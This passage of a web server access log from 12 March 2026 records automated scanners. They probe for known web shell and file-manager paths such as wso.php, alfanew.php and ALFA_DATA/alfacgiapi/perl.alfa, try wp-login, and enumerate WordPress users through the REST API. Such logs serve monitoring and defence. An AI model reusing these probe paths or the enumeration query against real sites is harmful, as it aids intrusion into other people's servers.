/sd.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:23:04 +0300] "GET /wfsjt.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:14:42 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:14:45 +0300] "GET /fyiiz.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:14:48 +0300] "GET /web.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:14:51 +0300] "GET /to.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:16:14 +0300] "GET /torsa1.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:16:16 +0300] "GET /zogy1.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:16:18 +0300] "GET /zoper1.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:15:07 +0300] "GET /scbpb.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:15:09 +0300] "GET /yaiid.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:15:12 +0300] "GET /ta0ol.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:15:14 +0300] "GET /v3.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:15:16 +0300] "GET /xvs.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:15:19 +0300] "GET /fss.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:15:21 +0300] "GET /xwx1.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:15:24 +0300] "GET /utky.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:15:25 +0300] "GET /ass.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:15:27 +0300] "GET /gkl.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:15:32 +0300] "GET /wps.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:15:34 +0300] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:15:39 +0300] "GET /yifsx.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:15:42 +0300] "GET /ng.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:23:20 +0300] "GET /tbmfx.php HTTP/1.1" 301 795 "-" "-" 182.44.67.97 - - [12/Mar/2026:01:30:02 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 52.169.148.186 - - [12/Mar/2026:02:16:32 +0300] "GET /wp-admin/maint/Jcrop.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:16:35 +0300] "GET /inege.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:16:37 +0300] "GET /acjsn.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:16:39 +0300] "GET /adnks.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:16:41 +0300] "GET /ahiqq.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:16:43 +0300] "GET /tool.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:16:46 +0300] "GET /an9.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:16:49 +0300] "GET /aqups.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:16:52 +0300] "GET /bpltp.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:16:54 +0300] "GET /byp9.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:16:56 +0300] "GET /fs9.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:16:58 +0300] "GET /genco.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:17:00 +0300] "GET /p23duw.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:19:43 +0300] "GET /t00l.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:19:47 +0300] "GET /kllib.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:19:52 +0300] "GET /aki.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:19:54 +0300] "GET /bolt.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:19:57 +0300] "GET /gettest.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:20:00 +0300] "GET /lp6.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:20:06 +0300] "GET /ff1.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:23:25 +0300] "GET /rqiup.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:23:29 +0300] "GET /swqjx.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:23:32 +0300] "GET /mfv7ys.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:23:35 +0300] "GET /jxhre.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:23:37 +0300] "GET /fsjne.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:23:40 +0300] "GET /fvlje.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:23:43 +0300] "GET /cqrrg.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:23:45 +0300] "GET /euhpb.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:17:05 +0300] "GET /pu9.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:17:08 +0300] "GET /pu8.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:17:11 +0300] "GET /aifa.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:17:15 +0300] "GET /aee.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:17:19 +0300] "GET /nc4.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:17:21 +0300] "GET /vaza.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:17:24 +0300] "GET /rithin.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:17:27 +0300] "GET /wp9.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:17:29 +0300] "GET /4pocjn.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:18:04 +0300] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:18:06 +0300] "GET /wp-admin/maint/max.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:20:21 +0300] "GET /44.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:20:24 +0300] "GET /bwjjt.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:20:27 +0300] "GET /t.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:20:31 +0300] "GET /bs4.PhP7 HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:20:34 +0300] "GET /erty.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:20:37 +0300] "GET //Okxob.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:20:41 +0300] "GET /cc13.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:20:44 +0300] "GET /ws83.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:20:46 +0300] "GET /ws84.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:20:48 +0300] "GET /12.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:20:50 +0300] "GET /sc.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:20:53 +0300] "GET /karma_b001.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:20:55 +0300] "GET /karma_e76a.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:20:57 +0300] "GET /karma_0cc5.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:21:00 +0300] "GET /wp-admin/images/acxx.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:14:55 +0300] "GET /xc0252.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:14:58 +0300] "GET /595.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:15:00 +0300] "GET /x1.php HTTP/1.1" 301 795 "-" "-" 52.169.148.186 - - [12/Mar/2026:02:15:02 +0300] "GET /0.php HTTP/1.1" 301 795 "-" "-" 45.154.98.71 - - [12/Mar/2026:02:57:05 +0300] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 45.154.98.71 - - [12/Mar/2026:02:57:05 +0300] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 66.249.66.202 - - [12/Mar/2026:03:26:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 45.154.98.71 - - [12/Mar/2026:02:57:05 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 45.154.98.71 - - [12/Mar/2026:02:57:05 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 45.154.98.71 - - [12/Mar/2026:02:57:05 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 66.249.66.78 - - [12/Mar/2026:03:06:50 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.66.78 - - [12/Mar/2026:03:07:07 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.7632.116 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 45.154.98.71 - - [12/Mar/2026:02:57:17 +0300] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 8.219.244.135 - - [12/Mar/2026:03:57:44 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0" 115.45.42.252 - - [12/Mar/2026:04:40:51 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.3835.109 UBrowser/6.2.3964.2 Safari/537.36" 20.63.83.113 - - [12/Mar/2026:05:11:54 +0300] "GET /qySIWF6TJbv.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [12/Mar/2026:05:11:57 +0300] "GET /xmrrpxgn.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [12/Mar/2026:05:11:59 +0300] "GET /test.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [12/Mar/2026:05:12:02 +0300] "GET /vtmlkgps.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [12/Mar/2026:05:12:08 +0300] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [12/Mar/2026:05:12:12 +0300] "GET /gnkadgiz.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [12/Mar/2026:05:12:15 +0300] "GET /sqosuclx.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [12/Mar/2026:05:12:18 +0300] "GET /9FM3suPlwtZ.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [12/Mar/2026:05:12:20 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [12/Mar/2026:05:12:24 +0300] "GET /file3.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [12/Mar/2026:05:10:59 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [12/Mar/2026:05:12:35 +0300] "GET /zbqxoidn.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [12/Mar/2026:05:11:32 +0300] "GET /gank.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [12/Mar/2026:05:11:36 +0300] "GET /tuhixyxq.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [12/Mar/2026:05:11:40 +0300] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [12/Mar/2026:05:11:43 +0300] "GET /QvAqFalfCTX.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [12/Mar/2026:05:12:30 +0300] "GET /vynypyss.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [12/Mar/2026:05:13:13 +0300] "GET /bbK8Qd6nhc.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [12/Mar/2026:05:13:45 +0300] "GET /izusdinh.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [12/Mar/2026:05:13:48 +0300] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [12/Mar/2026:05:11:04 +0300] "GET /acfipnci.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [12/Mar/2026:05:11:07 +0300] "GET /twlsgobh.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [12/Mar/2026:05:11:11 +0300] "GET /function.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [12/Mar/2026:05:11:14 +0300] "GET /Quotqw4MU9n.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [12/Mar/2026:05:11:16 +0300] "GET /4z78sSq3VE2.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [12/Mar/2026:05:11:19 +0300] "GET /rest-api.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [12/Mar/2026:05:11:21 +0300] "GET /iikklegv.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [12/Mar/2026:05:11:24 +0300] "GET /lcahmwsz.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [12/Mar/2026:05:11:28 +0300] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [12/Mar/2026:05:11:49 +0300] "GET /7DHoKtiS2sQ.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [12/Mar/2026:05:12:53 +0300] "GET /file9.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [12/Mar/2026:05:12:55 +0300] "GET /wp-session.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [12/Mar/2026:05:12:57 +0300] "GET /xl2023.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [12/Mar/2026:05:13:01 +0300] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [12/Mar/2026:05:13:07 +0300] "GET /file18.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [12/Mar/2026:05:13:19 +0300] "GET /BIBIL.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [12/Mar/2026:05:13:21 +0300] "GET /uchkkzmk.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [12/Mar/2026:05:13:24 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [12/Mar/2026:05:13:24 +0300] "GET /kbicjghd.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [12/Mar/2026:05:13:28 +0300] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [12/Mar/2026:05:13:31 +0300] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [12/Mar/2026:05:13:38 +0300] "GET /wso.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [12/Mar/2026:05:12:40 +0300] "GET /hplsmbly.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [12/Mar/2026:05:12:44 +0300] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 20.63.83.113 - - [12/Mar/2026:05:12:46 +0300] "GET /evatusmk.php HTTP/1.1" 301 795 "-" "-" 43.153.119.119 - - [12/Mar/2026:05:57:43 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 192.36.109.132 - - [12/Mar/2026:06:05:46 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Mobile/15E148 Safari/604" 42.83.147.56 - - [12/Mar/2026:07:21:34 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/74.0.3729.169 Safari/537.36" 43.155.129.131 - - [12/Mar/2026:06:45:14 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 195.154.174.199 - - [12/Mar/2026:08:00:13 +0300] "GET /index.php?rest_route=/wp/v2/users&orderby=id&order=asc&per_page=100&page=1 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" 125.94.144.102 - - [12/Mar/2026:07:47:23 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 203.159.90.13 - - [12/Mar/2026:08:57:59 +0300] "GET /cgi-bin/postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 203.159.90.13 - - [12/Mar/2026:08:57:52 +0300] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 203.159.90.13 - - [12/Mar/2026:08:57:38 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 160.30.137.9 - - [12/Mar/2026:10:01:47 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://t.co/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:119.0) Gecko/20100101 Firefox/119.0" 4.204.200.32 - - [12/Mar/2026:10:58:46 +0300] "GET /sh.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:10:59:05 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:10:58:20 +0300] "GET /oauth.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:10:58:23 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:10:58:25 +0300] "GET /tiny.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:10:58:50 +0300] "GET /wp-admin/maint/goods.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:10:57:59 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:10:58:39 +0300] "GET /wp-head.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:10:59:23 +0300] "GET /wp-includes/random_compat/bala.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:10:59:13 +0300] "GET /xsox.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:10:59:43 +0300] "GET /wp-includes/IXR/file2.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:10:59:50 +0300] "GET /menu-header.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:10:59:39 +0300] "GET /LA.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:10:59:56 +0300] "GET /tor.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:00:01 +0300] "GET /wp-one.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:10:58:09 +0300] "GET /siln.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:10:58:12 +0300] "GET /nqqwo.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:10:58:15 +0300] "GET /ton.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:10:58:32 +0300] "GET /030.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:10:58:35 +0300] "GET /file9.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:10:59:29 +0300] "GET /bkindex.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:10:59:32 +0300] "GET /s_ne.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:01:37 +0300] "GET /wp-includes/css/core.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:01:41 +0300] "GET /xl.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:02:33 +0300] "GET /inde.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:03:48 +0300] "GET /finny.php HTTP/1.1" 301 795 "-" "-" 170.106.35.153 - - [12/Mar/2026:11:05:06 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 4.204.200.32 - - [12/Mar/2026:11:08:03 +0300] "GET /catuploadcsv.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:09:10 +0300] "GET /sxx.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:09:54 +0300] "GET /file21.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:02:46 +0300] "GET /bk/index.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:04:34 +0300] "GET /api.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:06:15 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:06:27 +0300] "GET /.fk.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:07:28 +0300] "GET /packed.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:07:46 +0300] "GET /klex.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:09:59 +0300] "GET /file8.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:11:10 +0300] "GET /ifm.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:02:05 +0300] "GET /gmo.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:03:12 +0300] "GET /3index.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:03:15 +0300] "GET /bge.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:04:10 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:07:13 +0300] "GET /12.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:08:46 +0300] "GET /file18.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:08:49 +0300] "GET /file1.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:08:52 +0300] "GET /wfile.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:08:58 +0300] "GET /user-edit.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:09:35 +0300] "GET /ee.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:10:48 +0300] "GET /file2.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:12:00 +0300] "GET /gifclass4.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:00:11 +0300] "GET /geck.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:01:19 +0300] "GET /admin_logs.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:01:59 +0300] "GET /22.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:03:21 +0300] "GET /cms.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:03:25 +0300] "GET /lala.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:03:55 +0300] "GET /nfile.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:04:43 +0300] "GET /srx.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:04:47 +0300] "GET /ffile.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:05:14 +0300] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 62.60.130.210 - - [12/Mar/2026:11:05:15 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.bing.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2.1 Safari/605.1.15" 4.204.200.32 - - [12/Mar/2026:11:05:28 +0300] "GET /he.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:05:47 +0300] "GET /yuuki.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:07:21 +0300] "GET /predeploy.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:07:53 +0300] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:08:41 